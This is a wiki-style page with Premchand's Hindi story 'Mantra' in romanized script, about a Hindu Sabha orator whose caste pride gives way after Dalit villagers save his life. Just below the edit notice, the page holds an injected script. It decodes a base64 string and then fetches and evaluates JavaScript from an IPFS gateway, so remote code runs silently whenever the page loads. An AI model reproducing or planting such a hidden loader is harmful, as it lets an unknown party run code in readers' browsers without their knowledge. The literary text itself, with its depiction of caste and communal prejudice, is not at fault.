मंत्र -प्रेमचंद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

pandit liladhar chaube ki jaban mean jadoo tha. jis vakt vah manch par kh de ho kar apani vani ki sudhavrishti karane lagate the; shrotaoan ki atmaean tript ho jati thian, logoan par anurag ka nasha chha jata tha. chaubeji ke vyakhyanoan mean tattav to bahut kam hota tha, shabd-yojana bhi bahut sundar n hoti thi; lekin bar-bar duharane par bhi usaka asar kam n hota, balki ghan ki chotoan ki bhaanti aur bhi prabhavotpadak ho jata tha. hamean to vishvas nahian ata, kintu sunanevale kahate haian, unhoanne keval ek vyakhyan rat rakha hai. aur usi ko vah shabdash: pratyek sabha mean ek naye aandazase duharaya karate haian. jatiy gaurav-gan unake vyakhyanoan ka pradhan gun tha; manch par ate hi bharat ke prachin gaurav aur poorvajoan ki amar-kirti ka rag chhe d kar sabhako mugdh kar dete the. yatha , 'sajjano ! hamari adhogati ki katha sun kar kisaki aankhoan se ashrudhara n nikal p degi ? hamean prachin gaurav ko yad karake sandeh hone lagata hai ki ham vahi haian, ya badal gaye. jisane kal sianh se panja liya, vah aj choohe ko dekh kar bil khoj raha hai. is patan ki bhi sima hai. door kyoan jaie, maharaj chandragupt ke samay ko hi le lijie. yoonan ka suvijn itihasakar likhata hai ki us jamane mean yahaan dvar par tale n dale jate the, chori kahian sunane mean n ati thi, vyabhichar ka nam-nishan n tha, dastavejoan ka avishkar hi n hua tha, purjoan par lakhoan ka len-den ho jata tha, nyay pad par baithe hue karmachari makkhiyaan mara karate the. sajjano ! un dinoan koee adami javan n marata tha. (taliyaan) haan, un dinoan koee adami javan n marata tha. bap ke samane bete ka avasan ho jana ek abhootapoorv , ek asanbhav , ghatana thi. aj aise kitane mata-pita haian, jinake kaleje par javan bete ka dag n ho ! vah bharat nahian raha, bharat garat ho gaya !'

yah chaube ji ki shaili thi. vah vartaman ki adhogati aur durdasha tatha bhoot ki samridhdi aur sudasha ka rag alap kar logoan mean jatiy svabhiman jagrat kar dete the. isi sidhdi ki badaulat unaki netaoan mean ganana hoti thi. visheshat: hiandoo-sabha ke to vah karnadhar hi samajhe jate the. hiandoo-sabha ke upasakoan mean koee aisa utsahi, aisa daksh, aisa niti-chatur doosara n tha. yoan kahie ki sabha ke lie unhoanne apana jivan hi utsarg kar diya tha. dhan to unake pas n tha, kam se kam logoan ka vichar yahi tha; lekin sahas, dhairy aur buddhi jaise amooly ratn unake pas the, aur ye sabhi sabha ko arpan the. 'shudhdi' ke to mano pran hi the. hiandoo-jati ka utthan aur patan, jivan aur maran unake vichar mean isi prashn par avalambit tha. shuddhi ke siva ab hiandoo jati ke punarjivan ka aur koee upay n tha. jati ki samast naitik, sharirik, manasik, samajik, arthik aur dharmik bimariyoan ki dava isi aandolan ki saphalata mean maryadit thi, aur vah tan, man se isaka udyog kiya karate the. chande vasool karane mean chaube ji siddhahast the. eeshvar ne unhean vah 'gun' bata diya tha ki patthar se bhi tel nikal sakate the. kanjoosoan ko to vah aisa ulate chhure se moo date the ki un mahashayoan ko sada ke lie shiksha mil jati thi ! is vishay mean pandit ji sam, dam, dand aur bhed in charoan nitiyoan se kam lete the, yahaan tak ki rashtr-hit ke lie daka aur chori ko bhi kshamy samajhate the.

garami ke din the. liladhar ji kisi shital parvaty pradesh ko jane ki taiyariyaan kar rahe the ki sair ki sair ho jayagi, aur ban p da to kuchh chanda bhi vasool kar layeange. unako jab bhraman ki ichchha hoti, to mitroan ke sath ek deputeshan ke roop mean nikal kh de hote; agar ek hazar rupaye vasool karake vah isaka adha sair-sapate mean kharch bhi kar dean, to kisi ki kya hani ? hiandoo sabha ko to kuchh n kuchh mil hi jata tha. vah n udyog karate, to itana bhi to n milata ! pandit ji ne ab ki saparivar jane ka nishchay kiya tha. jab se 'shudhdi' ka avirbhav hua tha, unaki arthik dasha, jo pahale bahut shochaniy rahati thi, bahut kuchh samhal gayi thi.

lekin jati ke upasakoan ka aisa saubhagy kahaan ki shaanti- nivas ka anand utha sakean. unaka to janm hi mare-mare phirane ke lie hota hai. khabar ayi ki madras-praant mean tabalig valoan ne toofan macha rakha hai. hinduoan ke gaanv ke gaanv musalaman hote jate haian. mullaoan ne b de josh se tabalig ka kam shuroo kiya hai; agar hindoo-sabha ne is pravah ko rokane ki ayojana n ki, to sara praant hinduoan se shoony ho jayaga , kisi shikhadhari ki soorat tak n najar ayegi. hindoo-sabha mean khalabali mach gayi. turant ek vishesh adhiveshan hua aur netaoan ke samane yah samasya upasthit ki gayi. bahut soch-vichar ke bad nishchay hua ki chaube ji par is kary ka bhar rakha jae. unase prarthana ki jae ki vah turant madras chale jaeean, aur dharm-vimukh bandhuoan ka uddhar karean. kahane hi ki der thi. chaube ji to hiandoo-jati ki seva ke lie apane ko arpan hi kar chuke the; parvat-yatra ka vichar rok diya, aur madras jane ko taiyar ho gaye. hindoo-sabha ke mantri ne aankhoan mean aansoo bhar kar unase vinay ki ki maharaj, yah bi da ap hi utha sakate haian. ap hi ko paramatma ne itani samarthy di hai. apake siva aisa koee doosara manushy bharatavarsh mean nahian hai, jo is ghor vipatti mean kam aye. jati ki din-hin dasha par daya kijie. chaube ji is prarthana ko asvikar n kar sake. phauran sevakoan ki ek mandali bani aur pandit ji ke netritv mean ravana huee. hindoo-sabha ne use b di dhoom se bidaee ka bhoj diya. ek udar rees ne chaube ji ko ek thaili bheant ki, aur relave-steshan par hajaroan adami unhean bida karane aye. yatra ka vrittaant likhane ki zaroorat nahian. har ek b de steshan par sevakoan ka sammanapoorn svagat hua. kee jagah thailiyaan milian. ratalam ki riyasat ne ek shamiyana bheant kiya. b dauda ne ek motar di ki sevakoan ko paidal chalane ka kasht n uthana p de, yahaan tak ki madras pahuanchate-pahuanchate seva-dal ke pas ek maqool rakam ke atirikt zaroorat ki kitani chizean jama ho gayian. vahaan abadi se door khule hue maidan mean hiandoo-sabha ka p dav p da. shamiyane par rashtriy jhanda laharane laga. sevakoan ne apani-apani vardiyaan nikalian, sthaniy dhan-kuberoan ne davat ke saman bheje, ravatiyaan p d gayian. charoan or aisi chahal-pahal ho gayi, mano kisi raja ka kaimp hai. rat ke ath baje the. achhootoan ki ek basti ke samip, sevak-dal ka kaimp gais ke prakash se jagamaga raha tha. kee hazar adamiyoan ka jamav tha, jinamean adhikaansh achhoot hi the. unake lie alag tat bichha diye gaye the. ooanche varn ke hiandoo kalinoan par baithe hue the. pandit liladhar ka dhuaandhar vyakhyan ho raha tha , tum unhian rrishiyoan ki santan ho, jo akash ke niche ek nayi srishti ki rachana kar sakate the ! jinake nyay, buddhi aur vichar-shakti ke samane aj sara sansar sir jhuka raha hai.

sahasa ek boodhe achhoot ne uth kar poochha , ham log bhi unhian rrishiyoan ki santan haian ? liladhar , nissandeh ! tumhari dhamaniyoan mean bhi unhian rrishiyoan ka rakt dau d raha hai aur yadyapi aj ka nirdayi, kathor, vicharahin aur sankuchit hiandoo-samaj tumhean avahelana ki drishti se dekh raha hai; tathapi tum kisi hindoo se nich nahian ho, chahe vah apane ko kitana hi ooancha samajhata ho. boodha , tumhari sabha ham logoan ki sudhi kyoan nahian leti ?

liladhar , hiandoo-sabha ka janm abhi tho de hi din hue hua hai, aur is alpakal mean usane jitane kam kiye haian, us par use abhiman ho sakata hai. hiandoo-jati shatabdiyoan ke bad gahari niand se chauanki hai, aur ab vah samay nikat hai, jab bharatavarsh mean koee hiandoo kisi hiandoo ko nich n samajhega, jab ve sab ek doosare ko bhaee samajheange. shriramachandr ne nishad ko chhati se lagaya tha, shabari ke joothe ber khaye the... boodha , ap jab inhian mahatmaoan ki santan haian, to phir ooanch-nich mean kyoan itana bhed manate haian ? liladhar , isalie ki ham patit ho gaye haian , ajnan mean p dakar un mahatmaoan ko bhool gaye haian. boodha , ab to apaki nidra tooti hai, hamare sath bhojan karoge ?

liladhar , mujhe koee apatti nahian hai.

boodha , mere l dake se apani kanya ka vivah kijiega ?

liladhar , jab tak tumhare janm-sanskar n badal jaean, jab tak tumhare ahar-vyavahar mean parivartan n ho jae, ham tumase vivah ka sambandh nahian kar sakate, maans khana chho do, madira pina chho do, shiksha grahan karo, tabhi tum uchch-varn ke hianduoan mean mil sakate ho.

boodha , ham kitane hi aise kulin brahmanoan ko janate haian, jo rat-din nashe mean doobe rahate haian, maans ke bina kaur nahian uthate; aur kitane hi aise haian, jo ek akshar bhi nahian padhe haian; par apako unake sath bhojan karate dekhata hooan. unase vivah-smbandh karane mean apako kadachith inakar n hoga. jab ap khud ajnan mean p de hue haian, to hamara uddhar kaise kar sakate haian ? apaka hriday abhi tak abhiman se bhara hua hai. jaie, abhi kuchh din aur apani atma ka sudhar kijie. hamara uddhar apake kiye n hoga. hiandoo-samaj mean rah kar hamare mathe se nichata ka kalank n mitega. ham kitane hi vidvanh, kitane hi acharavanh ho jaean, ap hamean yoan hi nich samajhate raheange. hianduoan ki atma mar gayi hai, aur usaka sthan ahankar ne le liya hai ! ham ab devata ki sharan ja rahe haian, jinake mananevale hamase gale milane ko aj hi taiyar haian. ve yah nahian kahate ki tum apane sanskar badal kar ao. ham achchhe haian ya bure, ve isi dasha mean hamean apane pas bula rahe haian. ap agar ooanche haian, to ooanche bane rahie. hamean u dana n p dega. liladhar , ek rrishi-santan ke muanh se aisi batean sun kar mujhe ashchary ho raha hai. varn-bhed to rrishiyoan hi ka kiya hua hai. use tum kaise mita sakate ho ?

boodha , rrishiyoan ko mat badanam kijie. yah sab pakhand ap logoan ka racha hua hai. ap kahate haian , tum madira pite ho; lekin ap madira pine valoan ki jootiyaan chatate haian. ap hamase maans khane ke karan ghinate haian; lekin ap go-maans khanevaloan ke samane nak rag date haian. isalie n ki ve ap se balavanh haian ! ham bhi aj raja ho jaean, to ap hamare samane hath baandh kh de hoange. apake dharm mean vahi ooancha hai, jo balavanh hai; vahi nich hai, jo nirbal hai. yahi apaka dharm hai ? yah kah kar boodha vahaan se chala gaya aur usake sath hi aur log bhi uth kh de hue. keval chaube ji aur unake dalavale manch par rah gaye, mano manchagan samapt ho jane ke bad usaki pratidhavani vayu mean gooanj rahi ho. tabaligavaloan ne jab se chaube ji ke ane ki khabar suni thi, is fikr mean the ki kisi upay se in sabako yahaan se door karana chahie. chaube ji ka nam door-door tak prasiddh tha. janate the, yah yahaan jam gaya, to hamari sari ki-karayi mehanat vyarth ho jayagi. isake qadam yahaan jamane n payean. mullaoan ne upay sochana shuroo kiya. bahut vad-vivad, hujjat aur dalil ke bad nishchay hua ki is kaphir ko katl kar diya jae. aisa sava lootane ke lie adamiyoan ki kya kami ? usake lie to jannat ka daravaza khul jayaga, hoorean usaki balaean leangi, pharishte usake kadamoan ki khaq ka surama banayeange, rasool usake sar par barakat ka hath rakheange, khudaband-karim use sine s lagaeange aur kaheange, too mera pyara dost hai. do hatte - katte javanoan ne turant bi da utha liya.

rat ke das baj gaye the. hindoo-sabha ke kaianp mean sannata tha. keval chaube ji apani ravati mean baithe hindoo-sabha ke mantri ko patr likh rahe the , yahaan sabase b di avashyakata dhan ki hai. rupaya, rupaya, rupaya ! jitana bhej sakean, bhejie. deputeshan bhej kar vasool kijie, mote mahajanoan ki jeb tatolie, bhiksha maangie. bina dhan ke in abhagoan ka uddhar n hoga. jab tak koee pathashala n khule, koee chikitsalay n sthapit ho, koee vachanalay n ho, inhean kaise vishvas ayega ki hindoo-sabha unaki hitachiantak hai. tabaligavale jitana kharch kar rahe haian, usaka adha bhi mujhe mil jae, to hiandoo-dharm ki pataka phaharane lage. keval vyakhyanoan se kam n chalega. asisoan se koee jianda nahian rahata. sahasa kisi ki ahat pa kar vah chauank p de. aankhean oopar uthayian to dekha, do adami samane kh de haian. pandit ji ne shankit ho kar poochha , tum

kaun ho ? kya kam hai ?

uttar mila , ham ijaraeel ke pharishte haian. tumhari rooh kabj karane aye haian. ijaraeel ne tumhean yad kiya hai.

pandit ji yoan bahut hi balishth purush the, un donoan ko ek dhakke mean gira sakate the. prat:kal tin pav mohanabhog aur do ser doodh ka nashta karate the. dopahar ke samay pav bhar ghi dal mean khate, tisare pahar doodhiya bhang chhanate, jisamean ser bhar malaee aur adha ser badam mili rahati. rat ko dat kar byaloo karate; kyoanki prat:kal tak phir kuchh n khate the. is par turra yah ki paidal pag bhar bhi n chalate the ! palaki mile, to poochhana hi kya, jaise ghar par palang u da ja raha ho. kuchh n ho, to ikka to tha hi; yadyapi kashi mean hi do hi char ikkevale aise the jo unhean dekh kar kah n dean ki 'ikka khali nahian hai.' aisa manushy narm akha de mean pat p d kar ooparavale pahalavan ko thaka sakata tha, chusti aur phurti ke avasar par to vah ret par nikala hua kachhua tha. pandit ji ne ek bar kanakhiyoan se daravaze ki taraph dekha. bhagane ka koee mauqa n tha. tab unamean sahas ka sanchar hua. bhay ki parakashtha hi sahas hai. apane soante ki taraph hath badhaya aur garaj kar bole , nikal jao yahaan se !

bat muanh se poori n nikali thi ki lathiyoan ka var p da. pandit ji moorchchhit ho kar gir p de. shatruoan ne samip a kar dekha, jivan ka koee lakshan n tha. samajh gaye, kam tamam ho gaya. lootane ka vichar n tha; par jab koee poochhanevala n ho, to hath badhane mean kya harj ? jo kuchh hath laga, le-de kar chalate bane.

prat:kal boodha bhi udhar se nikala, to sannata chhaya hua tha, n adami, n adamajad. chhauladariyaan bhi gayab ! chakaraya, yah majara kya hai ? rat hi bhar mean aladin ke mahal ki tarah sab kuchh gayab ho gaya. un mahatmaoan mean se ek bhi najar nahian ata, jo prat:kal mohanabhog u date aur sandhya samay bhang ghotate dikhayi dete the. jara aur samip ja kar pandit liladhar ki ravati mean jhaanka, to kaleja sann se ho gaya ! pandit ji zamin par murde ki tarah p de hue the. muanh par makkhiyaan bhinak rahi thian. sir ke baloan mean rakt aisa jam gaya tha, jaise kisi chitrakar ke brash mean rang. sare kap de lahooluhan ho rahe the. samajh gaya, pandit ji ke sathiyoan ne unhean mar kar apani rah li. sahasa pandit ji ke muanh se karahane ki avaz nikali. abhi jan baki thi. boodha turant dau da hua gaanv mean a gaya aur kee adamiyoan ko lakar pandit ji ko apane ghar uthava le gaya. maraham-patti hone lagi. boodha din ke din aur rat ki rat pandit ji ke pas baitha rahata. usake gharavale unaki shushroosha mean lage rahate. gaanv vale bhi yathashakti sahayata karate. is bechare ka yahaan kaun apana baitha hua hai ? apane haian to ham, begane haian to ham. hamare hi uddhar ke lie to bechara yahaan aya tha, nahian to yahaan use kyoan ana tha ? kee bar pandit ji apane ghar par bimar p d chuke the, par unake gharavaloan ne itani tanmayata se unaki timaradari n ki thi. sara ghar, aur ghar hi nahian; sara gaanv unaka gulam bana hua tha. atithi-seva unake dharm ka ek aang tha. sabhy-svarth ne abhi us bhav ka gala nahian ghoanta tha. saanp ka mantr jananevala dehati ab bhi magh-poos ki aandhori meghachchhann ratri mean mantr jha dane ke lie das-paanch kos paidal dau data hua chala jata hai. use dabal phis aur savari ki zaroorat nahian hoti. boodha mal-mootra tak apane hathoan utha kar pheankata, pandit ji ki ghu dakiyaan sunata, sare gaanv se doodh maang kar unhean pilata. par usaki tyoriyaan

kabhi maili n hotian. agar usake kahian chale jane par gharavale laparavahi karate to a kar sabako d aautata.

mahine bhar ke bad pandit ji chalane-phirane lage aur ab unhean jnat hua ki in logoan ne mere sath kitana upakar kiya hai. inhian logoan ka kam tha ki mujhe maut ke muanh se nikala, nahian to marane mean kya kasar rah gayi thi ? unhean anubhav hua ki maian jin logoan ko nich samajhata tha, aur jinake uddhar ka bi da utha kar aya tha ve mujhase kahian ooanche haian. maian is paristhiti mean kadachith rogi ko kisi aspatal mean bhej kar hi apani karttavy -nishtha par garv karata; samajhata maianne dadhichi aur harishchandr ka mukh ujjval kar diya. unake roean-roean se in dev-tuly praniyoan ke prati ashirvad nikalane laga. tin mahine gujar gaye. n to hindoo-sabha ne pandit ji ki khabar li aur n gharavaloan ne. sabha ke mukh-patr mean unaki mrityu par aansoo bahaye gaye, unake kamoan ki prashansa ki gayi, aur unaka smarak banane ke lie chanda khol diya gaya. gharavale bhi ro-pit kar baith rahe. udhar pandit ji doodh aur ghi kha kar chauk-chauband ho gaye. chehare par khoon ki surkhi dau d gayi, deh bhar ayi. dehat ke jalavayu ne vah kam kar dikhaya jo kabhi malaee aur makkhan se n hua tha. pahale ki tarah taiyar to vah n hue; par phurti aur chusti duguni ho gayi. motaee ka alasy ab nam ko bhi n tha. unamean ek naye jivan ka sanchar ho gaya.

ja da shuroo ho gaya tha. pandit ji ghar lautane ki taiyariyaan kar rahe the. itane mean pleg ka akraman hua, aur gaanv ke tin adami bimar ho gaye. boodha chaudhari bhi unhian mean tha. gharavale in rogiyoan ko chho dakar bhag kh de hue. vahaan ka dastoor tha ki jin bimariyoan ko ve log devi ka kop samajhate the, unake rogiyoan ko chho d kar chale jate the. unhean bachana devataoan vair mol lena tha, aur devataoan se vair kar ke kahaan jate ? jis prani ko devata ne chun liya, use bhala ve usake hathoan se chhinane ka sahas kaise karate ? pandit ji ko bhi logoan ne sath le jana chaha; kiantu pandit ji n gaye. unhoanne gaanv mean rah kar rogiyoan ki raksha karane ka nishchay kiya. jis prani ne unhean maut ke panje se chhu daya tha; use is dasha mean chho dakar vah kaise jate ? upakar ne unaki atma ko jaga diya tha. boodhe chaudhari ne tisare din hosh ane par jab unhean apane pas kh de dekha, to bola , maharaj, tum yahaan kyoan a gaye ? mere lie devataoan ka hukm a gaya hai. ab maian kisi tarah nahian ruk sakata. tum kyoan apani jan jokhim mean dalate ho ? mujh par daya karo, chale jao. lekin pandit ji par koee asar n hua. vah bari-bari se tinoan rogiyoan ke pas jate aur kabhi unaki giltiyaan seankate, kabhi unhean puranoan ki kathaean sunate. gharoan mean naj, baratan adi sab jyoan ke tyoan rakhe hue the. pandit ji pathy bana kar rogiyoan ko khilate. rat ko jab rogi so jate aur sara gaanv bhaany-bhaany karane lagata to pandit ji ko bhayankar jantu dikhayi dete. unake kaleje mean dh dakan hone lagati; lekin vahaan se talane ka nam n lete. unhoanne nishchay kar liya tha ki ya to in logoan ko bacha hi looanga ya in par apane ko balidan hi kar dooanga. jab tin din seank-baandh karane par bhi rogiyoan ki halat n sanbhali, to pandit ji ko b di chianta huee. shahar vahaan se bis mil par tha. rel ka kahian pata nahian, rasta bih d aur savari koee nahian. idhar yah bhay ki akele rogiyoan ki n jane kya dasha ho. bechare b de sankat mean p de. aant ko chauthe din, pahar rat rahe, vah akele shahar ko chal diye aur das bajate-bajate vahaan ja pahuanche. aspatal se dava lene mean b di kathinaee ka samana karana p da. ganvaroan se aspatalavale davaoan ka manamana dam vasool karate the. pandit ji ko muft kyoan dene lage ? daktar ne muanshi se kaha , dava taiyar nahian hai. pandit ji ne gi dagi da kar kaha , sarakar, b di door se aya hooan. kee adami bimar p de haian. dava n milegi, to sab mar jaeange.

muanshi ne big d kar kaha , kyoan sir khaye jate ho ? kah to diya, dava taiyar nahian hai, n to itani jaldi ho hi sakati hai. pandit ji atyant dinabhav se bole , sarakar, brahman hooan; apake bal-bachchoan ko bhagavan chiranjivi karean, daya kijie. apaka akabal chamakata rahe.

rishvati karmachari mean daya kahaan ? ve to rupaye ke gulam haian. jyoan-jyoan pandit ji usaki khushamad karate the, vah aur bhi jhallata tha. apane jivan mean pandit ji ne kabhi itani dinata n prakat ki thi. unake pas is vakt ek dhela bhi n tha; agar vah janate ki dava milane mean itani dikkat hogi, to gaanvavaloan se hi kuchh maang-jaanch kar laye hote. bechare hatabuddhi-se kh de soch rahe the ki ab kya karana chahie ? sahasa daktar sahab svayan bangale se nikal aye. pandit ji lapak kar unake pairoan par gir p de aur karun svar mean bole , dinabandhu, mere ghar ke tin adami taoon mean p de hue haian. b da garib hooan, sarakar, koee dava mile. daktar sahab ke pas aise garib log nity aya karate the. unake charan par kisi ka gir p dana, unake samane p de huerh attanad karana, unake lie kuchh nayi batean n thian. agar is tarah vah daya karane lagate to dava hi bhar ko hote; yah that-bat kahaan se nibhata ? magar dil ke chahe kitane hi bure hoan, batean mithi-mithi karate the. pair hata kar bole , rogi kahaan hai ?

pandit ji – sarakar, ve to ghar par haian. itani door kaise lata ?

daktar –rogi ghar, aur tum dava lene aya ho ? kitane maje ki bat

hai ! rogi ko dekhe bina kaise dava de sakata hai ?

pandit ji ko apani bhool maloom huee. vastav mean bina rogi ko dekhe rog ki pahachan kaise ho sakati hai; lekin tin-tin rogiyoan ko itani door lana asan n tha. agar gaanvavale unaki sahayata karate to doliyoan ka prabandh ho sakata tha; par vahaan to sab kuchh apane hi boote par karana tha, gaanvavaloan se isamean sahayata milane ki koee asha n thi. sahayata ki kaun kahe, ve to unake shatru ho rahe the. unhean bhay hota tha ki yah dusht devataoan se vair badha kar ham logoan par n-jane kya vipatti layega. agar koee doosara adami hota, to vah use kab ka mar chuke hote. pandit ji se unhean prem ho gaya tha, isalie chho d diya tha. yah javab sun kar pandit ji ko kuchh bolane ka sahas to n tha; par kaleja mazaboot karake bole , sarakar, ab kuchh nahian ho sakata ?

daktar –aspatal se dava nahian mil sakati. ham apane pas se, dam

lekar dava de sakate haian.

pandit ji –yah dava kitane ki hogi, sarakar.

daktar sahab ne dava ka dam 10 ru. batalaya, aur yah bhi kaha ki is dava se jitana labh hoga, utana aspatal ki dava se nahian ho sakata. bole , vahaan purani davaee rakha rahata hai. garib log ata hai; davaee le jata hai; jisako jina hota hai, jita hai; jise marana hota hai, marata hai; hamase kuchh matalab nahian. ham tumako jo dava dega, vah sachcha dava hoga. das rupaye ! , is samay pandit ji ko das rupaye das lakh jan p de.

itane rupaye vah ek din mean bhang booti mean u da diya karate the; par is samay to dhole-dhole ko muhataj the. kisi se udhar milane ki asha kahaan. haan, sambhav hai, bhiksha maangane se kuchh mil jae; lekin itani jald das rupaye kisi bhi upay se n mil sakate the. adho ghante tak vah isi udhe dabun mean kh de rahe. bhiksha ke siva doosara koee upay n soojhata tha, aur bhiksha unhoanne kabhi maangi n thi. vah chande jama kar chuke the, ek-ek bar mean hajaroan vasool kar lete the; par vah doosari bat thi. dharm ke rakshak, jati ke sevak aur dalitoan ke uddharak ban kar chanda lene mean ek gaurav tha, chanda lekar vah denevaloan par ehasan karate the; par yahaan to bhikhariyoan ki tarah hath phailana, gi dagi dana aur phatakarean sahani p deangi. koee kahega , itane mote-taje to ho, mihanat kyoan nahian karate, tumhean bhikh maangate sharm bhi nahian ati ? koee kahega , ghas khod lao, maian tumhean achchhi mazadoori dooanga. kisi ko unake brahman hone ka vishvas n ayega. agar yahaan unaka reshami achakan aur reshami safa hota, kesariya rangavala dupatta hi mil jata, to vah koee svaang bhar lete. jyotishi ban kar vah kisi dhani seth ko phaans sakate the, aur is phan mean vah ustad bhi the; par yahaan vah saman kahaan , kap de-latto to sab kuchh lut chuke the. vipatti mean kadachith buddhi bhi bhrasht ho jati hai. agar vah maidan mean kh de hokar koee manohar vyakhyan de dete, to shayad unake das-paanch bhakt paida ho jate, lekin is taraph unaka dhyan hi n gaya. vah saje hue pandal mean, phooloan se susajjit mej ke samane, manch par kh de ho kar apani vani ka chamatkar dikhala sakate the. is duravastha mean kaun unaka vyakhyan sunega. log samajheange, koee pagal bak raha hai. magar dopahar dhali ja rahi thi, adhik soch-vichar ka avakash n tha. yahian sandhya ho gayi, to rat ko lautana asambhav ho jayaga. phir rogiyoan ki n jane kya dasha ho. vah ab is anishchit dasha mean kh de n rah sake, chahe jitana tiraskar ho, kitana hi apaman sahana p de, bhiksha ke siva aur koee upay n tha. vah bazar mean jakar ek dookan ke samane kh de ho gaye; par kuchh maangane ki himmat n p di !

dookanadar ne poochha , kya loge ?

pandit ji bole , chaval ka kya bhav hai ?

magar doosari dookan par pahuanch kar vah zyada savadhan ho gaye. seth ji gaddi par baithe hue the. pandit ji a kar unake samane kh de ho gaye aur gita ka ek shlok padh sunaya. unaka shuddh uchcharan aur madhur vani sun kar seth ji chakit ho gaye, poochha , kahaan sthan hai ?

pandit ji –kashi se a raha hooan.

yah kah kar pandit ji ne seth ji ko dharm ke dasoan lakshan batalaye aur shlok ki aisi achchhi vyakhya ki ki vah mugdh ho gaye. bole , maharaj, aj chal kar mere sthan ko pavitr kijie. koee svarthi adami hota, to is prastav ko saharsh svikar kar leta; lekin pandit ji ko lautane ki p di thi. bole , nahian seth ji, mujhe avakash nahian hai.

seth–maharaj, apako hamari itani khatiri karani p degi.

pandit ji jab kisi tarah thaharane par raji n hue, to seth ji ne udas hokar kaha , phir ham apaki kya seva karean ? kuchh ajna dijie. apaki vani se to tripti nahian huee. phir kabhi idhar ana ho, to avashy darshan dijiega.

pandit ji –apaki itani shrriddha hai to avashy aooanga.

yah kah kar pandit ji phir uth kh de hue. sankoch ne phir unaki jaban band kar di. yah adar-satkar isilie to hai ki maian apana svarth-bhav chhipaye hue hooan. koee ichchha prakat ki aur inaki aankhean badalian. sookha javab chahe n mile; par shrriddha n rahegi. vah niche utar gaye aur s dak par ek kshan ke lie kh de ho kar sochane lage , ab kahaan jaooan ? udhar ja de ka din kisi vilasi ke dhan ki bhaanti bhaga chala jata tha. vah apane hi oopar jhuanjhala rahe the , jab kisi se maangooanga nahian, to koee kyoan dene laga ? koee kya mere man ka hal janata hai ? ve din gaye, jab dhani log brahmanoan ki pooja kiya karate the. yah asha chho d do ki koee mahashay a kar tumhare hath mean rupaye rakh deange. vah dhire-dhire age badhe. sahasa seth ji ne pichhe se pukara , pandit ji, jara thaharie.

pandit ji thahar gaye. phir ghar chalane ke lie agrah karane ata hoga. yah to n hua ki ek rupaye ka not la kar deta, mujhe ghar le jakar n jane kya karega ? magar jab seth ji ne sachamuch ek gini nikal kar unake pairoan par rakh di; to unaki aankhoan mean ehasan ke aansoo chhalak aye. haian ! ab bhi sachche dharmatma jiv sansar mean haian, nahian to yah prithvi rasatal ko n chali jati ? agar is vakt unhean seth ji ke kalyan ke lie apani deh ka ser-adha ser rakt bhi dena p data, to bhi shauq se de dete. gadgad kanth se bole , isaka to kuchh kam n tha, seth ji ! maian bhikshuk nahian hooan, apaka sevak hooan.

seth ji shrriddha-vinayapoorn shabdoan mean bole , bhagavanh, ise svikar kijie. yah dan nahian, bheant hai. maian bhi adami pahachanata hooan. bahutere sadhu-sant, yogi-yati desh aur dharm ke sevak ate rahate haian; par n jane kyoan kisi ke prati mere man mean shrriddha nahian utpann hoti ? unase kisi tarah piand chhu dane ki p d jati hai. apaka sankoch dekh kar maian samajh gaya ki apaka yah pesha nahian hai. ap vidvanh haian, dharmatma haian; par kisi sankat mean p de hue haian. is tuchchh bheant ko svikar kijie aur mujhe ashirvad dijie.

pandit ji davaean lekar ghar chale, to harsh, ullas aur vijay se unaka hriday uchhala p data tha. hanuman ji bhi sanjivan-booti la kar itane prasann n hue hoange. aisa sachcha anand unhean kabhi prapt n hua tha. unake hriday mean itane pavitr bhavoan ka sanchar kabhi n hua tha.

din bahut tho da rah gaya tha. sooryadev aviral gati se pashchim ki or dau date chale jate the. kya unhean bhi kisi rogi ko dava deni thi ? vah b de veg se dau date hue parvat ki ot mean chhip gaye. pandit ji aur bhi phurti se paanv badhane lage, mano unhoanne sooryadev ko pak d lene ki thani hai. dekhate-dekhate aandhera chha gaya. akash mean do-ek tare dikhayi dene lage. abhi das mil ki manzil baki thi. jis tarah kali ghata ko sir par man darate dekh kar grihini dau d-dau d kar sukhavan sametane lagati hai, usi bhaanti liladhar ne bhi dau dana shuroo kiya. unhean akele p d jane ka bhay n tha, bhay tha aandhore mean rah bhool jane ka. dayean-bayean bastiyaan chhootati jati thian.

pandit ji ko ye gaanv is samay bahut hi suhavane maloom hote the. kitane anand se log alav ke samane baithe tap rahe haian ? sahasa unhean ek kutta dikhayi diya. n-jane kidhar se a kar vah unake samane pagadandi par chalane laga. pandit ji chauank p de; par ek kshan mean unhoanne kutte ko pahachan liya. vah boodhe chaudhari ka kutta moti tha. vah gaanv chho d kar aj idhar itani door kaise a nikala ? kya vah janata hai ? pandit ji dava le kar a rahe hoange, kahian rasta bhool jaean ? kaun janata hai ? pandit ji ne ek bar moti kah kar pukara, to kutte ne dum hilayi; par ruka nahian. vah isase adhik parichay de kar samay nasht n karana chahata tha. pandit ji ko jnat hua ki eeshvar mere sath hai, vahi meri raksha kar rahe haian. ab unhean kushal se ghar pahuanchane ka vishvas ho gaya. das bajate-bajate pandit ji ghar pahuanch gaye.

rog ghatak n tha; par yash pandit ji ko bada tha. ek saptah ke bad tinoan rogi change ho gaye. pandit ji ki kirti door-door tak phail gayi. unhoanne yam-devata se ghor sangram karake in adamiyoan ko bacha liya tha. unhoanne devataoan par bhi vijay pa li thi , asambhav ko sambhav kar dikhaya tha. vah sakshath bhagavanh the. unake darshanoan ke lie log door-door se ane lage; kiantu pandit ji ko apani kirti se itana anand n hota tha, jitana rogiyoan ko chalate-phirate dekh kar.

chaudhari ne kaha , maharaj, tum sakshath bhagavanh ho. tum n a jate, to ham n bachate.

pandit ji bole , maianne kuchh nahian kiya. yah sab eeshvar ki daya hai.

chaudhari - ab ham tumhean kabhi n jane deange. ja kar apane bal-bachchoan ko bhi le ao.

pandit ji –haan, maian bhi yahi soch raha hooan. tumako chho d kar ab nahian ja sakata.

